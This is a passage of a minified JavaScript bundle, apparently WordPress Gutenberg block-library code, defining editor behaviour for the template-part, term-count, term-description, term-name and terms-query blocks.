Nue({tagName:e,setAttributes:t,isEntityAvailable:r,templatePartId:a,defaultWrapper:n,hasInnerBlocks:i,clientId:l}){let[s,c]=(0,Yb.useEntityProp)("postType","wp_template_part","area",a),[u,m]=(0,Yb.useEntityProp)("postType","wp_template_part","title",a),d=(0,Iue.useSelect)(f=>f(Yb.store).getCurrentTheme()?.default_template_part_areas||[],[]).map(({label:f,area:h})=>({label:f,value:h}));return(0,ps.jsxs)(ps.Fragment,{children:[r&&(0,ps.jsxs)(ps.Fragment,{children:[(0,ps.jsx)(l8.TextControl,{__next40pxDefaultSize:!0,label:(0,Gg.__)("Title"),value:u,onChange:f=>{m(f)},onFocus:f=>f.target.select()}),(0,ps.jsx)(l8.SelectControl,{__next40pxDefaultSize:!0,label:(0,Gg.__)("Area"),labelPosition:"top",options:d,value:s,onChange:c})]}),(0,ps.jsx)(bCe,{tagName:e||"",onChange:f=>t({tagName:f}),clientId:l,options:[{label:(0,Gg.sprintf)((0,Gg.__)("Default based on area (%s)"),`<${n}>`),value:""},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"},{label:"<div>",value:"div"}]}),!i&&(0,ps.jsx)(Bue,{area:s,setAttributes:t})]})}var Wg=o(Y(),1),Un=o(T(),1),Xb=o(z(),1),Due=o(j(),1),Lue=o(U(),1),s8=o(v(),1);function yCe(e){if((0,Un.useBlockEditingMode)()==="contentOnly")return!1;if(!e)return Un.InnerBlocks.ButtonBlockAppender}function Mue(e){let t=(0,Xb.useSelect)(a=>{let{getSettings:n}=a(Un.store);return n()?.supportsLayout},[]),[r]=(0,Un.useSettings)("layout");if(t)return e?.inherit?r||{}:e}function xCe({postId:e,layout:t,tagName:r,blockProps:a}){(0,Un.useBlockEditingMode)("disabled");let{content:n,editedBlocks:i}=(0,Xb.useSelect)(c=>{if(!e)return{};let{getEditedEntityRecord:u}=c(Wg.store),m=u("postType","wp_template_part",e,{context:"view"});return{editedBlocks:m.blocks,content:m.content}},[e]),l=(0,Due.useMemo)(()=>{if(e)return i||(!n||typeof n!="string"?[]:(0,Lue.parse)(n))},[e,i,n]),s=(0,Un.useInnerBlocksProps)(a,{value:l,onInput:()=>{},onChange:()=>{},renderAppender:!1,layout:Mue(t)});return(0,s8.jsx)(r,{...s})}function _Ce({postId:e,hasInnerBlocks:t,layout:r,tagName:a,blockProps:n}){let i=(0,Xb.useSelect)(d=>d(Un.store).getSettings().onNavigateToEntityRecord,[]),[l,s,c]=(0,Wg.useEntityBlockEditor)("postType","wp_template_part",{id:e}),u=(0,Un.useInnerBlocksProps)(n,{value:l,onInput:s,onChange:c,renderAppender:yCe(t),layout:Mue(r)}),p=(0,Un.useBlockEditingMode)()==="contentOnly"&&i?{onDoubleClick:()=>i({postId:e,postType:"wp_template_part"})}:{};return(0,s8.jsx)(a,{...u,...p})}function Aue({postId:e,hasInnerBlocks:t,layout:r,tagName:a,blockProps:n}){let{canViewTemplatePart:i,canEditTemplatePart:l}=(0,Xb.useSelect)(c=>({canViewTemplatePart:!!c(Wg.store).canUser("read",{kind:"postType",name:"wp_template_part",id:e}),canEditTemplatePart:!!c(Wg.store).canUser("update",{kind:"postType",name:"wp_template_part",id:e})}),[e]);return i?(0,s8.jsx)(l?_Ce:xCe,{postId:e,hasInnerBlocks:t,layout:r,tagName:a,blockProps:n}):null}var Ht=o(v(),1),Fue=["header","footer","navigation-overlay"];function kCe({isEntityAvailable:e,area:t,templatePartId:r,isTemplatePartSelectionOpen:a,setIsTemplatePartSelectionOpen:n}){let{templateParts:i}=Hg(t,r),l=!!i.length;return e&&l&&Fue.includes(t)?(0,Ht.jsx)(yc.MenuItem,{onClick:()=>{n(!0)},"aria-expanded":a,"aria-haspopup":"dialog",children:(0,Li.__)("Replace")}):null}function wCe({area:e,clientId:t,isEntityAvailable:r,onSelect:a}){let n=jg(e,t);return r&&!!n.length&&Fue.includes(e)?(0,Ht.jsx)(yc.PanelBody,{title:(0,Li.__)("Design"),children:(0,Ht.jsx)(to.__experimentalBlockPatternsList,{label:(0,Li.__)("Templates"),blockPatterns:n,onClickPattern:a,showTitlesAsTooltip:!0})}):null}function Oue({attributes:e,setAttributes:t,clientId:r}){let{createSuccessNotice:a}=(0,$g.useDispatch)(Vue.store),{editEntityRecord:n}=(0,$g.useDispatch)(Jb.store),i=(0,$g.useSelect)(R=>R(Jb.store).getCurrentTheme()?.stylesheet,[]),{slug:l,theme:s=i,tagName:c,layout:u={}}=e,m=Ja(s,l),p=(0,to.useHasRecursion)(m),[d,f]=(0,zue.useState)(!1),{isResolved:h,hasInnerBlocks:g,isMissing:b,area:y,onNavigateToEntityRecord:_,title:x,canUserEdit:k,canUserEditBlock:S}=(0,$g.useSelect)(R=>{let{getEditedEntityRecord:F,hasFinishedResolution:P}=R(Jb.store),{getBlockCount:H,getSettings:$,canEditBlock:V}=R(to.store),G=["postType","wp_template_part",m],K=m?F(...G):null,X=K?.area||e.area,ee=m?P("getEditedEntityRecord",G):!1,ne=ee?R(Jb.store).canUser("update",{kind:"postType",name:"wp_template_part",id:m}):!1;return{hasInnerBlocks:H(r)>0,isResolved:ee,isMissing:ee&&(!K||Object.keys(K).length===0),area:X,onNavigateToEntityRecord:$().onNavigateToEntityRecord,title:K?.title,canUserEdit:!!ne,canUserEditBlock:V(r)}},[m,e.area,r]),C=n8(y),E=(0,to.useBlockProps)(),B=!l,D=!B&&!b&&h,M=c||C.tagName,O=async R=>{await n("postType","wp_template_part",m,{blocks:R.blocks,content:(0,Rue.serialize)(R.blocks)}),a((0,Li.sprintf)((0,Li.__)('Template Part "%s" updated.'),x||l),{type:"snackbar"})};return!g&&(l&&!s||l&&b)?(0,Ht.jsx)(M,{...E,children:(0,Ht.jsx)(to.Warning,{children:(0,Li.sprintf)((0,Li.__)("Template part has been deleted or is unavailable: %s"),l)})}):D&&p?(0,Ht.jsx)(M,{...E,children:(0,Ht.jsx)(to.Warning,{children:(0,Li.__)("Block cannot be rendered inside itself.")})}):(0,Ht.jsxs)(Ht.Fragment,{children:[(0,Ht.jsxs)(to.RecursionProvider,{uniqueId:m,children:[D&&_&&k&&(0,Ht.jsx)(to.BlockControls,{group:"other",children:(0,Ht.jsx)(yc.ToolbarButton,{onClick:()=>{_({postId:m,postType:"wp_template_part"})},children:(0,Li.__)("Edit original")})}),k&&(0,Ht.jsx)(to.InspectorControls,{group:"advanced",children:(0,Ht.jsx)(Nue,{tagName:c,setAttributes:t,isEntityAvailable:D,templatePartId:m,defaultWrapper:C.tagName,hasInnerBlocks:g,clientId:r})}),B&&(0,Ht.jsx)(M,{...E,children:(0,Ht.jsx)(vue,{area:e.area,templatePartId:m,clientId:r,setAttributes:t,onOpenSelectionModal:()=>f(!0)})}),(0,Ht.jsx)(to.BlockSettingsMenuControls,{children:({selectedClientIds:R})=>!S||!(R.length===1&&r===R[0])?null:(0,Ht.jsx)(kCe,{isEntityAvailable:D,area:y,clientId:r,templatePartId:m,isTemplatePartSelectionOpen:d,setIsTemplatePartSelectionOpen:f})}),(0,Ht.jsx)(to.InspectorControls,{group:"settings",children:(0,Ht.jsx)(wCe,{area:y,clientId:r,isEntityAvailable:D,onSelect:R=>O(R)})}),D&&(0,Ht.jsx)(Aue,{tagName:M,blockProps:E,postId:m,hasInnerBlocks:g,layout:u}),!B&&!h&&(0,Ht.jsx)(M,{...E,children:(0,Ht.jsx)(yc.Spinner,{})})]}),d&&(0,Ht.jsx)(yc.Modal,{overlayClassName:"block-editor-template-part__selection-modal",title:(0,Li.sprintf)((0,Li.__)("Choose a %s"),C.label.toLowerCase()),onRequestClose:()=>f(!1),isFullScreen:!0,children:(0,Ht.jsx)(wue,{templatePartId:m,clientId:r,area:y,setAttributes:t,onClose:()=>f(!1)})})]})}var Hue=o(Y(),1),jue=o(z(),1);function Uue(e,t){if(t!=="core/template-part")return e;if(e.variations){let r=(n,i)=>{let{area:l,theme:s,slug:c}=n;if(l)return l===i.area;if(!c)return!1;let{getCurrentTheme:u,getEntityRecord:m}=(0,jue.select)(Hue.store),p=m("postType","wp_template_part",`${s||u()?.stylesheet}//${c}`);return p?.slug?p.slug===i.slug:p?.area===i.area},a=e.variations.map(n=>({...n,...!n.isActive&&{isActive:r},...typeof n.icon=="string"&&{icon:Wh(n.icon)}}));return{...e,variations:a}}return e}var{name:que}=r8,Zue={icon:l1,__experimentalLabel:({slug:e,theme:t})=>{if(!e)return;let{getCurrentTheme:r,getEditedEntityRecord:a}=(0,Wue.select)(Gue.store),n=a("postType","wp_template_part",(t||r()?.stylesheet)+"//"+e);if(n)return(0,$ue.decodeEntities)(n.title)||OQ(n.slug||"")},edit:Oue},CCe=()=>{(0,XA.addFilter)("blocks.registerBlockType","core/template-part",Uue);let e=["core/post-template","core/post-content"];return(0,XA.addFilter)("blockEditor.__unstableCanInsertBlockType","core/block-library/removeTemplatePartsFromPostTemplates",(t,r,a,{getBlock:n,getBlockParentsByBlockName:i})=>{if(r.name!=="core/template-part")return t;for(let l of e)if(n(a)?.name===l||i(a,l).length)return!1;return!0}),N({name:que,metadata:r8,settings:Zue})};var oR={};q(oR,{init:()=>PCe,metadata:()=>c8,name:()=>rme,settings:()=>ome});var c8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/term-count",title:"Term Count",category:"theme",description:"Displays the post count of a taxonomy term.",textdomain:"default",usesContext:["termId","taxonomy"],attributes:{bracketType:{type:"string",enum:["none","round","square","curly","angle"],default:"round"}},supports:{anchor:!0,html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{color:!0,width:!0,style:!0}}},style:"wp-block-term-count"};var Jd=o(I(),1),u8=o(T(),1),eme=o(A(),1);var fl=o(A(),1),ds=o(v(),1),eR=(0,ds.jsx)(fl.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ds.jsx)(fl.Path,{d:"M 10 6 L 9.609375 9 L 7 9 L 7 10.5 L 9.4121094 10.5 L 9.0878906 13 L 7 13 L 7 14.5 L 8.890625 14.5 L 8.5 17.5 L 10 17.5 L 10.390625 14.5 L 12.890625 14.5 L 12.5 17.5 L 14 17.5 L 14.390625 14.5 L 17 14.5 L 17 13 L 14.587891 13 L 14.912109 10.5 L 17 10.5 L 17 9 L 15.109375 9 L 15.5 6 L 14 6 L 13.609375 9 L 11.109375 9 L 11.5 6 L 10 6 z M 10.912109 10.5 L 13.412109 10.5 L 13.087891 13 L 10.587891 13 L 10.912109 10.5 z"})}),Kue=(0,ds.jsx)(fl.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ds.jsx)(fl.Path,{d:"M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,3 c 0,0 1.5,4.004036 1.5,9 0,4.995964 -1.5,9 -1.5,9 H 20 c 0,0 1.5,-4.004036 1.5,-9 C 21.5,7.004036 20,3 20,3 Z M 5.5,21 C 5.5,21 4,16.995964 4,12 4,7.0040356 5.5,3 5.5,3 H 4 c 0,0 -1.5,4.004036 -1.5,9 0,4.995964 1.5,9 1.5,9 z"})}),Que=(0,ds.jsx)(fl.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ds.jsx)(fl.Path,{d:"M 21.5,21 V 3 H 18 v 1.5 h 2 v 15 H 18 V 21 Z M 2.5,3 V 21 H 6 V 19.5 H 4 V 4.5 H 6 V 3 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z"})}),Yue=(0,ds.jsx)(fl.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ds.jsx)(fl.Path,{d:"M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z M 18.5,21 c 1.104567,0 2,-0.895433 2,-2 v -4 c 0,-1.104567 0.895433,-2 2,-2 v -2 c -1.104567,0 -2,-0.895433 -2,-2 V 5 c 0,-1.104567 -0.895433,-2 -2,-2 H 17 v 1.5 h 1.5 A 0.5,0.5 0 0 1 19,5 v 5 c 0,1.104567 0.895433,2 2,2 -1.104567,0 -2,0.895433 -2,2 v 5 c 0,0.276142 -0.223858,0.5 -0.5,0.5 H 17 V 21 Z M 5.5,3 c -1.1045668,0 -2,0.8954327 -2,2 v 4 c 0,1.104567 -0.8954332,2 -2,2 v 2 c 1.1045668,0 2,0.895433 2,2 v 4 c 0,1.104567 0.8954332,2 2,2 H 7 V 19.5 H 5.5 A 0.5,0.5 0 0 1 5,19 V 14 C 5,12.895433 4.1045668,12 3,12 4.1045668,12 5,11.104567 5,10 V 5 C 5,4.7238579 5.2238579,4.5 5.5,4.5 H 7 V 3 Z"})}),Xue=(0,ds.jsx)(fl.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ds.jsx)(fl.Path,{d:"M 18.970703,16.53125 23.5,12 18.970703,7.46875 17.910156,8.53125 21.378906,12 17.910156,15.46875 Z M 5.0292969,7.46875 0.5,12 5.0292969,16.53125 6.0898438,15.46875 2.6210938,12 6.0898438,8.53125 Z M 10,6 9.609375,9 H 7 v 1.5 H 9.4121094 L 9.0878906,13 H 7 v 1.5 H 8.890625 L 8.5,17.5 H 10 l 0.390625,-3 h 2.5 L 12.5,17.5 H 14 l 0.390625,-3 H 17 V 13 h -2.412109 l 0.324218,-2.5 H 17 V 9 H 15.109375 L 15.5,6 H 14 l -0.390625,3 h -2.5 L 11.5,6 Z m 0.912109,4.5 h 2.5 L 13.087891,13 h -2.5 z"})});var ey=o(Y(),1),tR=o(z(),1);function Jue(e,t){let[r]=(0,ey.useEntityProp)("taxonomy",t,"count",e),a=TCe(),n=!!(e&&t);return{hasContext:n,termCount:n?r||"":a}}function TCe(){let t=(0,tR.useSelect)(n=>{let{getCurrentPostId:i,getCurrentPostType:l,getCurrentTemplateId:s}=n("core/editor"),c=l(),u=s()||(c==="wp_template"?i():null);return u?n(ey.store).getEditedEntityRecord("postType","wp_template",u)?.slug:null},[])?.match(/^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/),r,a;return t&&(t[1]?r=t[2]?t[2]:t[1]:t[3]&&(r=t[6]?t[6]:t[4],a=t[7]),r=r==="tag"?"post_tag":r),(0,tR.useSelect)(n=>{if(!r||!a)return"";let{getEntityRecords:i}=n(ey.store),l=i("taxonomy",r,{slug:a,per_page:1});return l&&l[0]&&l[0].count||""},[r,a])}var Km=o(v(),1),rR={none:{label:(0,Jd.__)("No brackets"),icon:eR},round:{label:(0,Jd.__)("Round brackets"),icon:Kue,before:"(",after:")"},square:{label:(0,Jd.__)("Square brackets"),icon:Que,before:"[",after:"]"},curly:{label:(0,Jd.__)("Curly brackets"),icon:Yue,before:"{",after:"}"},angle:{label:(0,Jd.__)("Angle brackets"),icon:Xue,before:"<",after:">"}};function tme({attributes:e,setAttributes:t,context:{termId:r,taxonomy:a}}){let{bracketType:n}=e,l=Jue(r,a)?.termCount||0,s=(0,u8.useBlockProps)(),c=Object.entries(rR).map(([m,{label:p,icon:d}])=>({role:"menuitemradio",title:p,isActive:n===m,icon:d,onClick:()=>{t({bracketType:m})}})),u=(m,p)=>{let{before:d="",after:f=""}=rR[p]||{};return`${d}${m}${f}`};return(0,Km.jsxs)(Km.Fragment,{children:[(0,Km.jsx)(u8.BlockControls,{group:"block",children:(0,Km.jsx)(eme.ToolbarDropdownMenu,{icon:rR[n]?.icon??eR,label:(0,Jd.__)("Change bracket type"),controls:c})}),(0,Km.jsx)("div",{...s,children:u(l,n)})]})}var{name:rme}=c8,ome={icon:BB,example:{},edit:tme},PCe=()=>N({name:rme,metadata:c8,settings:ome});var nR={};q(nR,{init:()=>NCe,metadata:()=>m8,name:()=>cme,settings:()=>ume});var m8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/term-description",title:"Term Description",category:"theme",description:"Display the description of categories, tags and custom taxonomies when viewing an archive.",textdomain:"default",usesContext:["termId","taxonomy"],supports:{anchor:!0,align:["wide","full"],html:!1,color:{link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}}};var nme=o(I(),1),ime=o(T(),1);var ty=o(Y(),1),aR=o(z(),1);function ame(e,t){let[r,a,n]=(0,ty.useEntityProp)("taxonomy",t,"description",e),i=ICe(),l=!!(e&&t);return{hasContext:l,setDescription:a,termDescription:l?n?.rendered||r||"":i}}function ICe(){let t=(0,aR.useSelect)(n=>{let{getCurrentPostId:i,getCurrentPostType:l,getCurrentTemplateId:s}=n("core/editor"),c=l(),u=s()||(c==="wp_template"?i():null);return u?n(ty.store).getEditedEntityRecord("postType","wp_template",u)?.slug:null},[])?.match(/^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/),r,a;return t&&(t[1]?r=t[2]?t[2]:t[1]:t[3]&&(r=t[6]?t[6]:t[4],a=t[7]),r=r==="tag"?"post_tag":r),(0,aR.useSelect)(n=>{if(!r||!a)return"";let{getEntityRecords:i}=n(ty.store),l=i("taxonomy",r,{slug:a,per_page:1});return l&&l[0]&&l[0].description||""},[r,a])}var Qm=o(v(),1);function lme({context:{termId:e,taxonomy:t}}){let{termDescription:r}=ame(e,t),a=(0,ime.useBlockProps)();return(0,Qm.jsx)(Qm.Fragment,{children:(0,Qm.jsx)("div",{...a,children:r?(0,Qm.jsx)("div",{dangerouslySetInnerHTML:{__html:r}}):(0,Qm.jsx)("div",{className:"wp-block-term-description__placeholder",children:(0,Qm.jsx)("span",{children:(0,nme.__)("Term Description")})})})})}var ECe={attributes:{textAlign:{type:"string"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},sme=[ECe];var{name:cme}=m8,ume={icon:EB,edit:lme,example:{},deprecated:sme},NCe=()=>N({name:cme,metadata:m8,settings:ume});var iR={};q(iR,{init:()=>MCe,metadata:()=>p8,name:()=>fme,settings:()=>hme});var p8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/term-name",title:"Term Name",category:"theme",description:"Displays the name of a taxonomy term.",keywords:["term title"],textdomain:"default",usesContext:["termId","taxonomy"],attributes:{textAlign:{type:"string"},level:{type:"number",default:0},isLink:{type:"boolean",default:!1},levelOptions:{type:"array"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{color:!0,width:!0,style:!0}}},style:"wp-block-term-name"};var ry=o(I(),1),xc=o(T(),1),qg=o(A(),1),pme=o(Ho(),1);var d8=o(Y(),1),f8=o(z(),1);function mme(e,t){let r=(0,f8.useSelect)(i=>!e||!t?null:i(d8.store).getEntityRecord("taxonomy",t,e),[e,t]),a=LCe(),n=!!(e&&t);return{hasContext:n,term:n?r:a}}function LCe(){let t=(0,f8.useSelect)(n=>{let{getCurrentPostId:i,getCurrentPostType:l,getCurrentTemplateId:s}=n("core/editor"),c=l(),u=s()||(c==="wp_template"?i():null);return u?n(d8.store).getEditedEntityRecord("postType","wp_template",u)?.slug:null},[])?.match(/^(category|tag|taxonomy-([^-]+))$|^(((category|tag)|taxonomy-([^-]+))-(.+))$/),r,a;return t&&(t[3]&&(r=t[6]?t[6]:t[4],a=t[7]),r=r==="tag"?"post_tag":r),(0,f8.useSelect)(n=>{if(!r||!a)return null;let{getEntityRecords:i}=n(d8.store),l=i("taxonomy",r,{slug:a,per_page:1});return l&&l[0]?l[0]:null},[r,a])}var Gn=o(v(),1);function dme({attributes:e,setAttributes:t,context:{termId:r,taxonomy:a}}){let{textAlign:n,level:i=0,isLink:l,levelOptions:s}=e,{term:c}=mme(r,a),u=c?.name?(0,pme.decodeEntities)(c.name):(0,ry.__)("Term Name"),m=(0,xc.useBlockProps)({className:w({[`has-text-align-${n}`]:n})}),p=W(),d=i===0?"p":`h${i}`,f=u;return l&&(f=(0,Gn.jsx)("a",{href:"#term-name-pseudo-link",onClick:h=>h.preventDefault(),children:u})),(0,Gn.jsxs)(Gn.Fragment,{children:[(0,Gn.jsxs)(xc.BlockControls,{group:"block",children:[(0,Gn.jsx)(xc.HeadingLevelDropdown,{value:i,options:s,onChange:h=>{t({level:h})}}),(0,Gn.jsx)(xc.AlignmentControl,{value:n,onChange:h=>{t({textAlign:h})}})]}),(0,Gn.jsx)(xc.InspectorControls,{children:(0,Gn.jsx)(qg.__experimentalToolsPanel,{label:(0,ry.__)("Settings"),resetAll:()=>{t({isLink:!1})},dropdownMenuProps:p,children:(0,Gn.jsx)(qg.__experimentalToolsPanelItem,{hasValue:()=>!!l,label:(0,ry.__)("Make term name a link"),onDeselect:()=>t({isLink:!1}),isShownByDefault:!0,children:(0,Gn.jsx)(qg.ToggleControl,{label:(0,ry.__)("Make term name a link"),onChange:()=>t({isLink:!l}),checked:l})})})}),(0,Gn.jsx)(d,{...m,children:f})]})}var{name:fme}=p8,hme={icon:NB,example:{},edit:dme},MCe=()=>N({name:fme,metadata:p8,settings:hme});var pR={};q(pR,{init:()=>jCe,metadata:()=>h8,name:()=>rpe,settings:()=>ope});var h8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/terms-query",title:"Terms Query",category:"theme",description:"An advanced block that allows displaying taxonomy terms based on different query parameters and visual configurations.",keywords:["terms","taxonomy","categories","tags","list"],textdomain:"default",attributes:{termQuery:{type:"object",default:{perPage:10,taxonomy:"category",order:"asc",orderBy:"name",include:[],hideEmpty:!0,showNested:!1,inherit:!1}},tagName:{type:"string",default:"div"}},usesContext:["templateSlug"],providesContext:{termQuery:"termQuery"},supports:{anchor:!0,align:["wide","full"],html:!1,layout:!0,interactivity:!0}};var Zme=o(z(),1),Kme=o(T(),1);var Wme=o(j(),1),b8=o(T(),1);var fs=o(I(),1),_c=o(A(),1),Ume=o(T(),1);var gme=o(Y(),1),vme=o(z(),1),bme=o(j(),1);function g8(){let e=(0,vme.useSelect)(t=>t(gme.store).getTaxonomies({per_page:-1}),[]);return(0,bme.useMemo)(()=>e?.filter(({visibility:t})=>t?.publicly_queryable)||[],[e])}var yme=o(A(),1);var xme=o(v(),1);function _me({value:e,onChange:t,...r}){let n=g8().map(i=>({label:i.name,value:i.slug}));return(0,xme.jsx)(yme.SelectControl,{__next40pxDefaultSize:!0,options:n,value:e,onChange:t,...r})}var oy=o(I(),1),kme=o(A(),1),wme=o(v(),1);function Cme({orderBy:e,order:t,onChange:r,...a}){return(0,wme.jsx)(kme.SelectControl,{__next40pxDefaultSize:!0,options:[{label:(0,oy.__)("Name: A \u2192 Z"),value:"name/asc"},{label:(0,oy.__)("Name: Z \u2192 A"),value:"name/desc"},{label:(0,oy.__)("Count, high to low"),value:"count/desc"},{label:(0,oy.__)("Count, low to high"),value:"count/asc"}],value:e+"/"+t,onChange:n=>{let[i,l]=n.split("/");r(i,l)},...a})}var Sme=o(A(),1),Tme=o(v(),1);function Pme({value:e,onChange:t,...r}){return(0,Tme.jsx)(Sme.ToggleControl,{checked:!e,onChange:a=>t(!a),...r})}var Bme=o(A(),1),Ime=o(v(),1);function Eme({value:e,onChange:t,...r}){return(0,Ime.jsx)(Bme.ToggleControl,{checked:e,onChange:t,...r})}var ny=o(A(),1),ay=o(I(),1),iy=o(v(),1);function Nme({value:e,onChange:t,label:r}){return(0,iy.jsxs)(ny.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:r,isBlock:!0,onChange:a=>{t({inherit:a==="default"})},help:e?(0,ay.__)("Display terms based on the current taxonomy archive. For hierarchical taxonomies, shows children of the current term. For non-hierarchical taxonomies, shows all terms."):(0,ay.__)("Display terms based on specific criteria."),value:e?"default":"custom",children:[(0,iy.jsx)(ny.__experimentalToggleGroupControlOption,{value:"default",label:(0,ay.__)("Default")}),(0,iy.jsx)(ny.__experimentalToggleGroupControlOption,{value:"custom",label:(0,ay.__)("Custom")})]})}var Dme=o(I(),1),Lme=o(A(),1),Mme=o(v(),1);function Ame({value:e,onChange:t,...r}){return(0,Mme.jsx)(Lme.RangeControl,{__next40pxDefaultSize:!0,value:e,min:0,max:100,onChange:t,help:(0,Dme.__)("Limit the number of terms you want to show. To show all terms, use 0 (zero)."),...r})}var Rme=o(I(),1),v8=o(T(),1);var lR=o(v(),1),{HTMLElementControl:RCe}=Z(v8.privateApis);function zme({TagName:e,setAttributes:t,clientId:r}){return(0,lR.jsx)(v8.InspectorControls,{group:"advanced",children:(0,lR.jsx)(RCe,{tagName:e,onChange:a=>t({tagName:a}),clientId:r,options:[{label:(0,Rme.__)("Default (<div>)"),value:"div"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<aside>",value:"aside"}]})})}var Fme=o(A(),1),sR=o(z(),1),cR=o(Y(),1),_u=o(j(),1),Ome=o(ue(),1),uR=o(Ho(),1),Hme=o(v(),1),ef=[],Vme={order:"asc",_fields:"id,name",context:"view"};function jme({value:e,taxonomy:t,onChange:r,...a}){let[n,i]=(0,_u.useState)(""),[l,s]=(0,_u.useState)(ef),[c,u]=(0,_u.useState)(ef),m=(0,Ome.useDebounce)(i,250),{searchResults:p,searchHasResolved:d}=(0,sR.useSelect)(y=>{if(!n)return{searchResults:ef,searchHasResolved:!0};let{getEntityRecords:_,hasFinishedResolution:x}=y(cR.store),k=["taxonomy",t,{...Vme,search:n,orderby:"name",exclude:e,per_page:20}];return{searchResults:_(...k),searchHasResolved:x("getEntityRecords",k)}},[n,t,e]),f=(0,sR.useSelect)(y=>{if(!e?.length)return ef;let{getEntityRecords:_}=y(cR.store);return _("taxonomy",t,{...Vme,include:e,per_page:e.length})},[e,t]);(0,_u.useEffect)(()=>{if(e?.length||s(ef),!f?.length)return;let y=e.reduce((_,x)=>{let k=f.find(S=>S.id===x);return k&&_.push({id:x,value:(0,uR.decodeEntities)(k.name)}),_},[]);s(y)},[e,f]);let h=(0,_u.useMemo)(()=>{if(!p?.length)return{names:ef,mapByName:{}};let y=[],_={};return p.forEach(x=>{let k=(0,uR.decodeEntities)(x.name);y.push(k),_[k]=x}),{names:y,mapByName:_}},[p]);(0,_u.useEffect)(()=>{d&&u(h.names)},[h.names,d]);let g=(y,_)=>_?.id||y?.[_]?.id;return(0,Hme.jsx)(Fme.FormTokenField,{__next40pxDefaultSize:!0,value:l,onInputChange:m,suggestions:c,onChange:y=>{let _=Array.from(y.reduce((x,k)=>{let S=g(h.mapByName,k);return S&&x.add(S),x},new Set));u(ef),r(_)},__experimentalShowHowTo:!1,...a})}var Mr=o(v(),1);function 